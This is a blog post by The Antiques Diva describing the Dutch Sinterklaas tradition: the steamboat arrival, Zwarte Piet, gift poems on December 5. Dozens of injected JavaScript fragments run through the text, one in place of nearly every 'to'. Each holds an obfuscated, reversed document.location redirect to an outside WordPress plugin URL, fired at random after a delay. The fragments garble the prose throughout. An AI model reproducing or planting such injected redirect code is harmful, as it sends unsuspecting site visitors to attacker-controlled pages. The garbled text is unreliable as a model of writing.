Dutch Sinterklaas Tradition

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>Where has the time gone? Can you believe it’s December already? It seems like just yesterday I was in Italy for Easter… and now Christmas will be here before we know it.  Since I’m an American who’s lived in Europe for fourteen years I thought it would be fun toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shed some light on European holiday traditions this month here on the blog. After living 5 years in Paris and before living the last 5 in Berlin, I lived in the Netherlands for nearly 5 years and they had what is quite possibly the most unusual Christmas tradition in the world!!!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocht-boot.jpg”>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocht-boot.jpg” alt=”Sinterklaas, Dutch Traditions, Santa Claus in Europe, Zwarte Pieten, Christmas in The Netherlands, Christmas traditions around the world” width=”600″ height=”450″ />

Their Sinterklaas can be compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the American Santa Claus. In the Netherlands,  Sinterklaas is celebrated on the eve of Saint Nicholas Day (December 6) by the giving of gifts, much like Americans do on Christmas Day. However, Sinterklaas doesn’t just come on Saint Nicholas Day eve. Gone are the reindeers and sleigh… for this Juletide character traditionally arrives in the Netherlands in mid-November on a steamboat from Spain. After disembarking, he rides through the streets on his white horse Amerigo.  All over the country parades form while children flock toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to him and his helpers – the Zwarte Pieten – singing traditional songs such as “Hij Komt” while Sinterklaas and the Piets throw candy and other treats intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the crowds.

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For the next few weeks, until December 5, Sinterklaas makes special visits toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to schools, hospitals and other public areas where he can see all the children and build excitement for Saint Nicholas Day eve. Throughout the year, it is said that Zwarte Piet listens at the chimneys toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear if children are being bad or good and he then reports toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Sinterklaas. If the children have been naughty, Piet would punish them on Saint Nicholas Day eve. However, that portion of the traditional lore has fallen out of fashion in modern times.

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On the night of December 5, children believe that Sinterklaas sends Zwarte Piet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their houses with burlap sacks filled with presents. Typically gifts are accompanied by a poem or personal message from Sinterklaas – gatherings of friends or colleagues mean that you write these poems in secret toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share about the gift recipient.

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I always find it interesting that holiday traditions throughout the world are quite similar. Of course there are certain details that are unique toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to each country and culture, but at the end of the day, good boys and girls receive presents while naughty ones do not. So the lesson here is: Be good!

Happy Holidays!

The Antiques Diva® 

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

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